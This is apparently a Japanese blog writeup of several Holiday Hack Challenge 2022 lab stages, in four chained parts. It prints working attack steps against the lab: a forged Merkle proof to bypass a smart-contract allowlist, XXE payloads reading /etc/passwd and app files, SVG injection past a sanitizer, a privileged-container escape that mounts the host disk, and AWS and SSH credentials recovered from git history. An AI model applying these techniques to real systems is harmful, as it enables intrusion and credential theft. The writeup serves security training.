はまやんはまやんはまやん

hamayanhamayan's blog

Recover the Burning Ring of Fire - Holiday Hack Challenge 2022 Writeup by hamayanhamayan [7/8]

English ver. -> https://hackmd.io/@POkJ8tzYSMKRnIFAFaPw4w/SJnFgxLYj
まとめトップ

 
 
 

Recover the Burning Ring of Fire

Buy a Hat

Difficulty: ★★
Travel to the Burning Ring of Fire and purchase a hat from the vending machine with KringleCoin. Find hints for this objective hidden throughout the tunnels.

帽子が買える自動販売機で1つ買えばクリア。
書かれている通りにやればいい。
財布のアドレスを忘れた場合は、最初のステージOrientationに戻ればよく、秘密鍵を忘れた場合は、前述した隠し部屋に行けばわかる。

Blockchain Divination

Difficulty: ★★★★
Use the Blockchain Explorer in the Burning Ring of Fire to investigate the contracts and transactions on the chain.
At what address is the KringleCoin smart contract deployed? Find hints for this objective hidden throughout the tunnels.

依然見つけた隠し宝箱にヒントがある。

Find a transaction in the blockchain where someone sent or received KringleCoin! The Solidity Source File is listed as KringleCoin.sol. Tom's Talk might be helpful!

Blockchain Explorerを起動して、Block#1を見てみるとスマートコントラクトを作成している。
この時のアドレスがそのまま答え。
Contract Address: 0xc27A2D3DE339Ce353c0eFBa32e948a88F1C86554

Exploit a Smart Contract

Difficulty: ★★★★★
Exploit flaws in a smart contract to buy yourself a Bored Sporc NFT. Find hints for this objective hidden throughout the tunnels.

スマートコントラクトをクラックしてNFTを買う問題。
横の端末から買うことができ、値段が100 KringleCoin (KC)。
値段的には買えるのだが、Proof Valuesを適切に設定する必要がある。
適切なProof Valuesが見つかったら、
0xe8fC6f6a76BE243122E3d01A1c544F87f1264d3aに100KCを送金して戻って来るだけ。

ヒントは多分これ。

Hint: You're going to need a Merkle Tree of your own. Math is hard. Professor Petabyte can help you out. https://decentralizedthoughts.github.io/2020-12-22-what-is-a-merkle-tree/

Blockchain Explorerを見ると#2でNFT用のスマートコントラクトが登録されている。
検証をしている所を見ると、以下が怪しい。

    function verify(bytes32 leaf, bytes32 _root, bytes32[] memory proof) public view returns (bool) {
        bytes32 computedHash = leaf;
        for (uint i = 0; i < proof.length; i++) {
          bytes32 proofElement = proof[i];
          if (computedHash <= proofElement) {
            computedHash = keccak256(abi.encodePacked(computedHash, proofElement));
          } else {
            computedHash = keccak256(abi.encodePacked(proofElement, computedHash));
          }
        }
        return computedHash == _root;
    }
    
    function presale_mint(address to, bytes32 _root, bytes32[] memory _proof) public virtual {
        bool _preSaleIsActive = preSaleIsActive;
        require(_preSaleIsActive, "Presale is not currently active.");
        bytes32 leaf = keccak256(abi.encodePacked(to));
        require(verify(leaf, _root, _proof), "You are not on our pre-sale allow list!");
        _mint(to, _tokenIdTracker.current());
        _tokenIdTracker.increment();        
    }

コードを読むとマークルツリーの計算そのものをしている。
最初はtoのkeccak256を葉として、proofを順番にくっつけて同様にハッシュを取っている。
最終的に
rootと一致すればOK.

Blockchain Explorerを巡回すると#118, #76293で成功しているのが見つかり、以下のような感じになっていた。

#118
function: presale_mint(address,bytes32,bytes32[])
parameters: {'to': '0xa1861E96DeF10987E1793c8f77E811032069f8E9', '_root': b'\xc4t\x1e\x81\x06[\xff\x02v.\xd3\xce\x06ncY\xc1\xf4ae\x18\xe06\x99\xc8\x882\xef\x84\x91p\x14', '_proof': [b'S\x80\xc7\xb7\xae\x81\xa5\x8e\xb9\x8d\x9cx\xdeJ\x1f\xd7\xfd\x955\xfc\x95>\xd2\xbe`-\xaa\xa4\x17g1*']}

#76293
function: presale_mint(address,bytes32,bytes32[])
parameters: {'to': '0xd8AA7B14a0917171213b24cDc4aA82683E3dcfaE', '_root': b'S>Y\x0f\xc7\xf5K]\xecY]D\xda\x87\xbb\x11\x86\x8aI\xf4\x05\x89\x8e}C\xacQQ\xb3\xca$$', '_proof': [b'S\x80\xc7\xb7\xae\x81\xa5\x8e\xb9\x8d\x9cx\xdeJ\x1f\xd7\xfd\x955\xfc\x95>\xd2\xbe`-\xaa\xa4\x17g1*']}

見ると、_proofが同じ値になっている。
入力するProof Valuesは_rootの値になっているのではないか?
toは自分のものを使って_proofは固定なので、計算方法もわかっているので_rootが計算できる。
76293の例で以下のように試すといい感じ。

from Crypto.Hash import keccak
from Crypto.Util.number import *

to = 0xd8AA7B14a0917171213b24cDc4aA82683E3dcfaE
to = long_to_bytes(to)
_proof = b'S\x80\xc7\xb7\xae\x81\xa5\x8e\xb9\x8d\x9cx\xdeJ\x1f\xd7\xfd\x955\xfc\x95>\xd2\xbe`-\xaa\xa4\x17g1*'
_root = b'S>Y\x0f\xc7\xf5K]\xecY]D\xda\x87\xbb\x11\x86\x8aI\xf4\x05\x89\x8e}C\xacQQ\xb3\xca$$'

leaf = keccak.new(data=to, digest_bits=256).digest()
res = keccak.new(data=_proof+leaf, digest_bits=256).digest()
print(res)
print(_root)

で、Proof Valuesにrootを入れてみるがうまくいかない。
改めて通信を見てみると

あ、rootも送ってるじゃん!
検証に必要な要素はすべて送っているみたいなので、既知である_proofを付けて、それに合うrootを指定してやればよさそう。

from Crypto.Hash import keccak
from Crypto.Util.number import *
import binascii

to = 0x559382c264a9f431Fb35ae360b046775a79e2983
to = long_to_bytes(to)
_proof = b'S\x80\xc7\xb7\xae\x81\xa5\x8e\xb9\x8d\x9cx\xdeJ\x1f\xd7\xfd\x955\xfc\x95>\xd2\xbe`-\xaa\xa4\x17g1*'
print("Proof: 0x", binascii.hexlify(_proof))
leaf = keccak.new(data=to, digest_bits=256).digest()
res = keccak.new(data=_proof+leaf, digest_bits=256).digest()
print("Root: 0x", binascii.hexlify(res))

という感じで自分のアドレスからパラメタを作って、以下のように送る。

POST /cgi-bin/presale HTTP/2
Host: boredsporcrowboatsociety.com
Cookie: GCLB="03cc6f2c174c9ff7"
Content-Length: 277
Sec-Ch-Ua: "Not?A_Brand";v="8", "Chromium";v="108"
Sec-Ch-Ua-Platform: "Windows"
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36
Content-Type: application/json
Accept: */*
Origin: https://boredsporcrowboatsociety.com
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://boredsporcrowboatsociety.com/presale.html?&challenge=bsrs&username=hamayanhamayan&id=aa9a889a-7556-4b12-8689-1c64161ad6aa&area=level5&location=13,15&tokens=
Accept-Encoding: gzip, deflate
Accept-Language: ja,en-US;q=0.9,en;q=0.8

{"WalletID":"0x559382c264a9f431Fb35ae360b046775a79e2983","Root":"0xf1451325a80213aa3574a87c2212bc8d71807d145bc0f363f19a6c7eeb29d4c3","Proof":"0x5380c7b7ae81a58eb98d9c78de4a1fd7fd9535fc953ed2be602daaa41767312a","Validate":"true","Session":"aa9a889a-7556-4b12-8689-1c64161ad6aa"}

{"Response": "You're on the list and good to go! Now... BUY A SPORC!"}
ok!

あとは、100KC支払って、先ほどのリクエストのValidateをfalseにして送りなおせばクリア!

ちなみに買ったNFTはThe Bored Sporc Rowboat SocietyのGalleryで実際に見ることができる。

傷持ちは意外とレアかもしれん。
ともあれ、リング獲得。全部揃った!

結局…

これは何だったんだろうか…
何かを見逃していそう…

 
 
 

次 -> フィナーレへ - Holiday Hack Challenge 2022 Writeup by hamayanhamayan [8/8] - はまやんはまやんはまやん

Recover the Cloud Ring - Holiday Hack Challenge 2022 Writeup by hamayanhamayan [6/8]

English ver. -> https://hackmd.io/@POkJ8tzYSMKRnIFAFaPw4w/SJnFgxLYj
まとめトップ

 
 
 

Recover the Cloud Ring

すごい機械が置いてある。

AWS CLI Intro

Difficulty: ★
Try out some basic AWS command line skills in this terminal. Talk to Jill Underpole in the Cloud Ring for hints.

横の人に話しかけるとヒントがもらえる。

Hint: In the AWS command line (CLI), the Secure Token Service or STS has one very useful function.
https://awscli.amazonaws.com/v2/documentation/api/latest/reference/sts/get-caller-identity.html

ふむ。なるほどね。コンソールを開くと、指示が来るので従っていく。

You may not know this, but AWS CLI help messages are very easy to access. First, try typing:
$ aws help

指示通り、aws helpする。

Great! When you're done, you can quit with q.

qを押して終了。

Next, please configure the default aws cli credentials with the access key AKQAAYRKO7A5Q5XUY2IY,
the secret key qzTscgNdcdwIo/soPKPoJn9sBrl5eMQQL19iO5uf and the region us-east-1 .
https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-quickstart.html#cli-configure-quickstart-config

aws configureと打って指定していく。

Excellent! To finish, please get your caller identity using the AWS command line. For more details please reference:
$ aws sts help
or reference:
https://awscli.amazonaws.com/v2/documentation/api/latest/reference/sts/index.html

リファレンスを読むとaws sts get-caller-identityでいいみたい。
実行するとクリア。

次のチャレンジ…の前に

階段横から壁抜きができ、宝箱がある。

Difficulty: ★★
Use Trufflehog to find secrets in a Git repo. Work with Jill Underpole in the Cloud Ring for hints. What's the name of the file that has AWS credentials?

コンソールの無い問題。
https://haugfactory.com/asnowball/aws_scripts.git からAWSの認証情報を抜き出すために認証情報が入ったファイルを探す。
一見、クレデンシャルは含まれていないので編集履歴を漁ってみる。
git log -p
すると、aws_secret_access_keyといった部分が見つかって過去書きこまれていたことがわかる。これが書かれているファイルのファイル名が答え。

put_policy.py

Exploitation via AWS CLI

Difficulty: ★★★
Flex some more advanced AWS CLI skills to escalate privileges! Help Gerty Snowburrow in the Cloud Ring to get hints for this challenge.

こちらも指示に従いなら解いていく。

Use Trufflehog to find credentials in the Gitlab instance at https://haugfactory.com/asnowball/aws_scripts.git.
Configure these credentials for us-east-1 and then run:
$ aws sts get-caller-identity

repoを落としてきて中身を見るが、クレデンシャルは含まれていない。
編集履歴にないか探ってみると、ある。

$ git log -p | grep aws_access_key_id
aws_access_key_id="AKIAAIDAYRANYAHGQOHD"
$ git log -p | grep aws_secret_access_key
aws_secret_access_key="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"

aws configureで設定してaws sts get-caller-identityとすると次に進む。

Managed (think: shared) policies can be attached to multiple users. Use the AWS CLI to findall/ any policies attached to your user.
The aws iam command to list attached user policies can be found here:
https://awscli.amazonaws.com/v2/documentation/api/latest/reference/iam/index.html
Hint: it is NOT list-user-policies.

色々ググるaws iam list-attached-user-policies --user-name haugで抜ける。

$ aws iam list-attached-user-policies --user-name haug
{
    "AttachedPolicies": [
        {
            "PolicyName": "TIER1_READONLY_POLICY",
            "PolicyArn": "arn:aws:iam::602123424321:policy/TIER1_READONLY_POLICY"
        }
    ],
    "IsTruncated": false
}

Now, view or get the policy that is attached to your user.
The aws iam command to get a policy can be found here:
https://awscli.amazonaws.com/v2/documentation/api/latest/reference/iam/index.html

aws iam get-policy --policy-arn 'arn:aws:iam::602123424321:policy/TIER1_READONLY_POLICY'で情報が抜ける。

$ aws iam get-policy --policy-arn 'arn:aws:iam::602123424321:policy/TIER1_READONLY_POLICY'
{
    "Policy": {
        "PolicyName": "TIER1_READONLY_POLICY",
        "PolicyId": "ANPAYYOROBUERT7TGKUHA",
        "Arn": "arn:aws:iam::602123424321:policy/TIER1_READONLY_POLICY",
        "Path": "/",
        "DefaultVersionId": "v1",
        "AttachmentCount": 11,
        "PermissionsBoundaryUsageCount": 0,
        "IsAttachable": true,
        "Description": "Policy for tier 1 accounts to have limited read only access to certain resources in IAM, S3, and LAMBDA.",
        "CreateDate": "2022-06-21 22:02:30+00:00",
        "UpdateDate": "2022-06-21 22:10:29+00:00",
        "Tags": []
    }
}

ok.

Attached policies can have multiple versions. View the default version of this policy.
The aws iam command to get a policy version can be found here:
https://awscli.amazonaws.com/v2/documentation/api/latest/reference/iam/index.html

get-policy-versionが使えそう

aws iam get-policy-version --policy-arn 'arn:aws:iam::602123424321:policy/TIER1_READONLY_POLICY' --version-id 'v1'
先ほどの出力からデフォルトバージョンはv1とあるので、それを使った。

Inline policies are policies that are unique to a particular identity or resource. Use the AWS CLI to list the inline policies associated with your user.
The aws iam command to list user policies can be found here:
https://awscli.amazonaws.com/v2/documentation/api/latest/reference/iam/index.html
Hint: it is NOT list-attached-user-policies.

aws iam list-user-policies --user-name haugで抜ける。

$ aws iam list-user-policies --user-name haug
{    "PolicyNames": [
        "S3Perms"
    ],
    "IsTruncated": false
}

Now, use the AWS CLI to get the only inline policy for your user.
The aws iam command to get a user policy can be found here:
https://awscli.amazonaws.com/v2/documentation/api/latest/reference/iam/index.html

aws iam get-user-policy --user-name haug --policy-name S3Permsでok.

$ aws iam get-user-policy --user-name haug --policy-name S3Perms
{
    "UserPolicy": {
        "UserName": "haug",
        "PolicyName": "S3Perms",
        "PolicyDocument": {
            "Version": "2012-10-17",
            "Statement": [
                {
                    "Effect": "Allow",
                    "Action": [
                        "s3:ListObjects"
                    ],
                    "Resource": [
                        "arn:aws:s3:::smogmachines3",
                        "arn:aws:s3:::smogmachines3/*"
                    ]
                }
            ]
        }
    },
    "IsTruncated": false
}

The inline user policy named S3Perms disclosed the name of an S3 bucket that you have permissions to list objects.
List those objects!
The aws s3api command to list objects in an s3 bucket can be found here:
https://awscli.amazonaws.com/v2/documentation/api/latest/reference/s3api/index.html

aws s3api list-objects --bucket smogmachines3でok.

The attached user policy provided you several Lambda privileges. Use the AWS CLI to list Lambda functions.
The aws lambda command to list functions can be found here:
https://awscli.amazonaws.com/v2/documentation/api/latest/reference/lambda/index.html

aws lambda list-functionsでok.

$ aws lambda list-functions
{    "Functions": [
        {
            "FunctionName": "smogmachine_lambda",
            "FunctionArn": "arn:aws:lambda:us-east-1:602123424321:function:smogmachine_lambda",
            "Runtime": "python3.9",
            "Role": "arn:aws:iam::602123424321:role/smogmachine_lambda",                       db3277            "Handler": "handler.lambda_handler",
            "CodeSize": 2126,
            "Description": "",
            "Timeout": 600,
            "MemorySize": 256,
            "LastModified": "2022-09-07T19:28:23.634+0000",
            "CodeSha256": "GFnsIZfgFNA1JZP3TgTI0tIavOpDLiYlg7oziWbtRsa=",
            "Version": "$LATEST",
            "VpcConfig": {
                "SubnetIds": [                    "subnet-8c80a9cb8b3fa5505"
                ],
                "SecurityGroupIds": [
                    "sg-b51a01f5b4711c95c"
                ],
                "VpcId": "vpc-85ea8596648f35e00"                                               Dec-22
            },
            "Environment": {
                "Variables": {
                    "LAMBDASECRET": "975ceab170d61c75",
                    "LOCALMNTPOINT": "/mnt/smogmachine_files"
                }
            },
            "TracingConfig": {
                "Mode": "PassThrough"
            },
            "RevisionId": "7e198c3c-d4ea-48dd-9370-e5238e9ce06e",
            "FileSystemConfigs": [
                {
                    "Arn": "arn:aws:elasticfilesystem:us-east-1:602123424321:access-point/fsap-db3277b03c6e975d2",
                    "LocalMountPath": "/mnt/smogmachine_files"
                }
            ],
            "PackageType": "Zip",
            "Architectures": [
                "x86_64"
            ],
            "EphemeralStorage": {
                "Size": 512
            }
        }
    ]
}

Lambda functions can have public URLs from which they are directly accessible.
Use the AWS CLI to get the configuration containing the public URL of the Lambda function.
The aws lambda command to get the function URL config can be found here:
https://awscli.amazonaws.com/v2/documentation/api/latest/reference/lambda/index.html

aws lambda get-function-url-config --function-name smogmachine_lambdaでok.

$ aws lambda get-function-url-config --function-name smogmachine_lambda
{
    "FunctionUrl": "https://rxgnav37qmvqxtaksslw5vwwjm0suhwc.lambda-url.us-east-1.on.aws/",
    "FunctionArn": "arn:aws:lambda:us-east-1:602123424321:function:smogmachine_lambda",
    "AuthType": "AWS_IAM",
    "Cors": {
        "AllowCredentials": false,
        "AllowHeaders": [],
        "AllowMethods": [
            "GET",
            "POST"
        ],
        "AllowOrigins": [
            "*"
        ],
        "ExposeHeaders": [],
        "MaxAge": 0
    },
    "CreationTime": "2022-09-07T19:28:23.808713Z",
    "LastModifiedTime": "2022-09-07T19:28:23.808713Z"
}

これでクリア。ボス問だったみたいで、リングが手に入った。かわいいリング。

最後のリング…の前に

Burning Ring Of Fireの右から進むと宝箱がある。
お金と変なhatがもらえる。

 
 
 

次 -> Recover the Burning Ring of Fire - Holiday Hack Challenge 2022 Writeup by hamayanhamayan [7/8] - はまやんはまやんはまやん

Recover the Web Ring - Holiday Hack Challenge 2022 Writeup by hamayanhamayan [5/8]

English ver. -> https://hackmd.io/@POkJ8tzYSMKRnIFAFaPw4w/SJnFgxLYj
まとめトップ

 
 
 

Recover the Web Ring

Webは得意なのでサクッと解いていきたい。(フラグ)

Naughty IP

Difficulty: ★
Use the artifacts from Alabaster Snowball to analyze this attack on the Boria mines.
Most of the traffic to this site is nice, but one IP address is being naughty!
Which is it? Visit Sparkle Redberry in the Tolkien Ring for hints.

Wiresharkの統計>終端から接続IPを確認しよう。

一番多いのはパケットを収集している端末IPなので、二番目にパケットが多いIPが怪しい。
出してみると正答。
18.222.86.32

Credential Mining

Difficulty: ★
The first attack is a brute force login. What's the first username tried?

認証情報のブルートフォースなのでPOST通信をしている所を探そう。
http.request.method == "POST"でフィルタリングすると該当箇所が見つかる。
送信データを見てみるとログインユーザーはaliceなので、これを送ると正答。

404 FTW

Difficulty: ★
The next attack is forced browsing where the naughty one is guessing URLs. What's the first successful URL path in this attack?

(ip.src == 18.222.86.32 || ip.dst == 18.222.86.32) && httpで眺めてみる。
するとパケット#23352くらいから404が目立ち、ディレクトリスキャニングしているようなログが見られる。

((ip.src == 18.222.86.32 || ip.dst == 18.222.86.32) && http) && (http.response.code == 200)で見ると#26774, #27716あたりで200で帰ってきている。
26771番のパケットが対応するパケットで/procが答え。

IMDS, XXE, and Other Abbreviations

Difficulty: ★★
The last step in this attack was to use XXE to get secret keys from the IMDS service. What URL did the attacker force the server to fetch?

パケットを見ると確かに/procに対してXXE攻撃が見られる。
SSRFでAWSの認証情報を盗もうとしていた。
最後の攻撃で使われたURLを答えると正答。

http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance

Open Boria Mine Door

Difficulty: ★★★
Open the door to the Boria Mines. Help Alabaster Snowball in the Web Ring to get some hints for this challenge.

これまでの問題を終えたら、この問題へのヒントがAlabaster Snowballからたくさんもらえる。

Hint: The locks take input, render some type of image, and process on the back end to unlock. To start, take a good look at the source HTML/JavaScript.
Understanding how Content-Security-Policy works can help with this challenge.
Developers use both client- and server-side input validation to keep out naughty input.

パズルが与えられる。ソースコードを見ると、いろいろわかるっぽいし、まじめにパズルを解く問題ではなさそうだ。

左上 PIN 1

Chromeであれば、PIN1を右クリックして、「フレームのソースを表示」してみる。
ソースコードにヒントが書いてある
<!-- @&@&&W&&W&&&& -->
なるほど。実際に@&@&&W&&W&&&&を使ってみるとクリアできた。

中上 PIN 2

同様にソースコードを見てみよう。
<!-- TODO: FILTER OUT HTML FROM USER INPUT -->

HTMLが使えるみたい。
SVGで自由に絵が描けそう。

全体を敷き詰めるような絵をかいてやればいい。
ごにょごにょやると以下でクリア。

<svg width="400" height="400">
<rect width="400" height="400" fill="white">
</svg>

右上 PIN 3

ソースコードを見ると、
<!-- TODO: FILTER OUT JAVASCRIPT FROM USER INPUT -->
とあるが、同様にSVGで書いてやればいい。
色を合わせる必要があるので注意。

<svg width="200" height="170">
<rect width="200" height="170" fill="blue">
</svg>

右下 PIN4

ソースコードを見るとサニタイズするコードが追加されている。
だが、これはonblur='sanitizeInput()'とあるようにフォーカスが外れた時にしか発動しないので、
入力してEnterキーを押してやれば手軽にbypass可能。

<svg width="200" height="170">
<rect width="200" height="100" fill="white" />
<rect y="100" width="200" height="70" fill="blue" />
</svg>

中下 PIN5

ソースコードを見るとCSPが追加されている。
<meta http-equiv="Content-Security-Policy" content="script-src 'self' 'unsafe-inline'; style-src 'self'">
だが、PIN4と同一方針で解ける。
(非想定解で解いている気がするな…)

<svg width="200" height="170">
<rect width="200" height="170" fill="red" />
<rect x="10" y="70" width="200" height="100" fill="blue" />
</svg>

左下 PIN6

ソースコードは変わっているが、これも同一方針…
#00FF00のカラーコードってgreenじゃなくてlimeなのか。

<svg width="200" height="170">
<rect width="200" height="170" fill="red" />
<rect y="100" width="190" height="100" fill="blue" />
<rect width="200" height="50" fill="lime" />
</svg>

最終的にはこのように解ける。

これで先に進めるようになるので、進んでWeb Ringの最後の問題に挑戦しよう。
ちなみに、このオブジェの上には乗ることができる。

Glamtariel's Fountain

Difficulty: ★★★★★
Stare into Glamtariel's fountain and see if you can find the ring!
What is the filename of the ring she presents you? Talk to Hal Tandybuck in the Web Ring for hints.

まずは、Hal Tandybuckに話しかけてヒントをもらっておこう。

Hint: Early parts of this challenge can be solved by focusing on Glamtariel's WORDS.
Hint: Sometimes we can hit web pages with XXE when they aren't expecting it!

Burp Suiteを起動してwebサービスを色々実行してみる。

中々ファンシーな見た目。
右上に4つの物体があり、それを姫か山にドラッグアンドドロップすることでメッセージが得られる。
POST /droppedに対して以下のようなものを送信している。

{"imgDrop":"img1","who":"none","reqType":"json"}

imgDropはimg1からimg4まで、whoはnone|princess|fountainで、reqTypeはjson固定。
jsonからxmlへの変換を色々やってみたがダメ。
適当にサイトで遊んでみると、怖い画面が一瞬出てくる。

何やらコメントが意味深。
PATHというのとAPPが強調されているのも気になるが…
その後もポチポチ進めるとリングが出る画面で遷移が止まってしまう。

この状態でjsonからxmlへの変換を試すとうまくいった。
Content-Typeをapplication/xmlにして、以下のように送ると、I love rings of all colors!と受理されていそうなメッセージが帰って来る。

<?xml version="1.0" encoding="UTF-8" ?><!DOCTYPE x [<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<root>
  <imgDrop>img3</imgDrop>
  <who>princess</who>
  <reqType>xml</reqType>
</root>

あとはどこかにxxe;を仕込んで抜き出すだけ…と思ったが、ここでかなり日数を使った。
随所随所にあるヒントからパスを導き出す。
…というか大量の試行から答えが出てきたので、以下に書くのは推察というより、答えからこういうことだったのだろうと逆算して記載しているのに近い。

  • 大文字でAPPと表記されている所がある。コンテナでよくあるルートにappフォルダを置いて構築する事を意味している?
  • RINGLISTというワードが出てくる。これが姫が隠していたもの。つまり逆に言えば、見つけるべきもの。
    • 拡張子抜きのファイル名はringlist
  • SIMPLE FORMATというワードも出てくる。拡張子についてのヒントだろう。簡単なものというといくつかあるが…
    • 拡張子はtxtだった

あとは、リクエストからディレクトリ構造を理解して、ディレクトリをくまなく探すと以下のように/app/static/images/ringlist.txtで何かが帰ってくる。

<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE x [<!ENTITY xxe SYSTEM "file:///app/static/images/ringlist.txt" >]>
<root>
  <imgDrop>&xxe;</imgDrop>
  <who>princess</who>
  <reqType>xml</reqType>
</root>

応答は以下の通り。

{
  "appResp": "Ah, you found my ring list! Gold, red, blue - so many colors! Glad I don't keep any secrets in it any more! Please though, don't tell anyone about this.^She really does try to keep things safe. Best just to put it away. (click)",
  "droppedOn": "none",
  "visit": "static/images/pholder-morethantopsupersecret63842.png,262px,100px"
}

よくわからないので、通常のリクエストをInterceptして書き換えて表示させてみる。

出てきた破かれたフォルダーみたいなものに書かれているのは以下のようなこと。

x_phial_pholder_2022
bluering.txt
redring.txt

なるほど。XXEのURL部分を
file:///app/static/images/x_phial_pholder_2022/bluering.txt
に変えてみると、blue ring用のコメントが出てきた。いい感じ。
redring.txtも出てきた。
彼女が言うには"Gold"もあるみたいなので、goldring.txtとしてみるがダメ。
他にもsilverringがあったな。silverring.txtを見てみると、なにかがまた出てくる。

よーく見てみると、リングにgoldring_to_be_deleted.txtと書いてあるように見える。
試すと、違うリクエストが帰って来る。ok.

Hmmm, and I thought you wanted me to take a look at that pretty silver ring, but instead, you've made a pretty bold REQuest. 
That's ok, but even if I knew anything about such things, I'd only use a secret TYPE of tongue to discuss them.
She's definitely hiding something.

噴水が完全に味方になった。
REQuest?TYPE?reqtypeを変えればいいの?
色々やっていると、&xxe;をreqTypeの方に入れても特にエラーが出ないことに気が付いた。
imgDropを戻して、&xxe;をreqTypeに載せたら進んだ。
具体的には以下のようにした。

<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE x [<!ENTITY xxe SYSTEM "file:///app/static/images/x_phial_pholder_2022/goldring_to_be_deleted.txt" >]>
<root>
  <imgDrop>img1</imgDrop>
  <who>princess</who>
  <reqType>&xxe;</reqType>
</root>

すると…

ついに手に入った!
ファイル名を答えよという問題なので、応答にあるstatic/images/x_phial_pholder_2022/goldring-morethansupertopsecret76394734.pngからファイル名を取り、
goldring-morethansupertopsecret76394734.pngを答えると正解。

Webリングもゲットー!

途中に…

Web Ringから次のリングへの途中に意味ありげなスペースがある。

よく見ると縄が垂れ下がっていて、↑キーで上に移動できる。
途中で←へ移動すると宝箱がある。

 
 
 

次 -> Recover the Cloud Ring - Holiday Hack Challenge 2022 Writeup by hamayanhamayan [6/8] - はまやんはまやんはまやん

Recover the Elfen Ring - Holiday Hack Challenge 2022 Writeup by hamayanhamayan [4/8]

English ver. -> https://hackmd.io/@POkJ8tzYSMKRnIFAFaPw4w/SJnFgxLYj
まとめトップ

 
 
 

Recover the Elfen Ring

船で見て回れるステージ。

Clone with a Difference

Difficulty: ★
Clone a code repository. Get hints for this challenge from Bow Ninecandle in the Elfen Ring.

レポジトリをクローンしてくれば解けるみたい。

We just need you to clone one repo: git clone git@haugfactory.com:asnowball/aws_scripts.git

このまま動かすとpublic keyを要求されて動かない。
コンソールにある情報を読むとpublicらしいので、適当にhttps表記に変えてgit cloneしてみると落とすことができた。

$ git clone git@haugfactory.com:asnowball/aws_scripts.git

問題を答える準備ができたので、runtoanswerで答えていく。

What's the last word in the README.md file for the aws_scripts repo?

README.mdの最後のワードであるmaintainersを答えると正答。

Prison Escape

Difficulty: ★★★
Escape from a container. Get hints for this challenge from Bow Ninecandle in the Elfen Ring. What hex string appears in the host file /home/jailer/.ssh/jail.key.priv?

docker環境からホスト環境へ昇格せよという問題。
ヒントをもらえとあるので、もらってくる。

Hint: When users are over-privileged, they can often act as root.
When containers have too many permissions, they can affect the host! https://learn.snyk.io/lessons/container-runs-in-privileged-mode/kubernetes/
Hint: Were you able to mount up? If so, users' home/ directories can be a great place to look for secrets...

privileged modeで起動されているんだろう。
sudo -lを見ると何でもやりたい放題なので、sudo suでrootになる。
/devを見てみると/dev/vdaというのがあるので、mount /dev/vda /mntでマウントしてみるとホストのストレージが見られる。
あとは/mnt/home/jailer/.sshを見るとjail.key.privがあるので、そこに書いてあるhex stringを渡せば答え。

# cat jail.key.priv

                Congratulations! 

          You've found the secret for the 
          HHC22 container escape challenge!

                     .--._..--.
              ___   ( _'-_  -_.'
          _.-'   `-._|  - :- |
      _.-'           `--...__|
   .-'                       '--..___
  / `._                              \
   `. `._               one           |
     `. `._                           /
       '. `._    :__________....-----'
         `..`---'    |-_  _- |___...----..._
                     |_....--'             `.`.
               _...--'                       `.`.
          _..-'                             _.'.'
       .-'             step                _.'.'
       |                               _.'.'
       |                   __....------'-'
       |     __...------''' _|
       '--'''        |-  - _ |
               _.-''''''''''''''''''-._
            _.'                        |\
          .'                         _.' |
          `._          closer           |:.'
            `._                     _.' |
               `..__                 |  |
                    `---.._.--.    _|  |
                     | _   - | `-.._|_.'
          .--...__   |   -  _|
         .'_      `--.....__ |
        .'_                 `--..__
       .'_                         `.
      .'_    082bb339ec19de4935867   `-.
      `--..____                        _`.
               ```--...____          _..--'
                     | - _ ```---.._.'
                     |   - _ |
                     |_ -  - |
                     |   - _ |
                     | -_  -_|
                     |   - _ |
                     |   - _ |
                     | -_  -_|

Jolly CI/CD

Difficulty: ★★★★★
Exploit a CI/CD pipeline. Get hints for this challenge from Tinsel Upatree in the Elfen Ring.

ボス問。
ヒントをもらいに行こう。

Hint: The thing about Git is that every step of development is accessible – even steps you didn't mean to take! git log can show code skeletons.
Hint: If you find a way to impersonate another identity, you might try re-cloning a repo with their credentials.

んー、入ったときに表示される文章を読み返してみる。
悪のスポークスが卑劣な技術PHPを使ってウェブストアを開設したらしい。
そこでCI/CDも使っているとのこと。

とりあえずsudo suでrootになっておく…が何もない。
もう一度Tinsel Upatreeに話しかけてみると、URLをつぶやいていた。

http://gitlab.flag.net.internal/rings-of-powder/wordpress.flag.net.internal.git

ok. 端末でgit cloneしてみる。rootになると失敗したので、sudo suをやらずにgit clone。
1番目のHintで編集履歴を見ればいいことを示唆してるのでgit logしてみる。

...
commit e19f653bde9ea3de6af21a587e41e7a909db1ca5
Author: knee-oh <sporx@kringlecon.com>
Date:   Tue Oct 25 13:42:54 2022 -0700

    whoops

whoopsというのは気になる。git show e19f653bde9ea3de6af21a587e41e7a909db1ca5で内容を見てみる。

commit e19f653bde9ea3de6af21a587e41e7a909db1ca5
Author: knee-oh <sporx@kringlecon.com>
Date:   Tue Oct 25 13:42:54 2022 -0700

    whoops

diff --git a/.ssh/.deploy b/.ssh/.deploy
deleted file mode 100644
index 3f7a9e3..0000000
--- a/.ssh/.deploy
+++ /dev/null
@@ -1,7 +0,0 @@
------BEGIN OPENSSH PRIVATE KEY-----
-b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
-QyNTUxOQAAACD+wLHSOxzr5OKYjnMC2Xw6LT6gY9rQ6vTQXU1JG2Qa4gAAAJiQFTn3kBU5
-9wAAAAtzc2gtZWQyNTUxOQAAACD+wLHSOxzr5OKYjnMC2Xw6LT6gY9rQ6vTQXU1JG2Qa4g
-AAAEBL0qH+iiHi9Khw6QtD6+DHwFwYc50cwR0HjNsfOVXOcv7AsdI7HOvk4piOcwLZfDot
-PqBj2tDq9NBdTUkbZBriAAAAFHNwb3J4QGtyaW5nbGVjb24uY29tAQ==
------END OPENSSH PRIVATE KEY-----
diff --git a/.ssh/.deploy.pub b/.ssh/.deploy.pub
deleted file mode 100644
index 8c0b43c..0000000
--- a/.ssh/.deploy.pub
+++ /dev/null
@@ -1 +0,0 @@
-ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIP7AsdI7HOvk4piOcwLZfDotPqBj2tDq9NBdTUkbZBri sporx@kringlecon.com

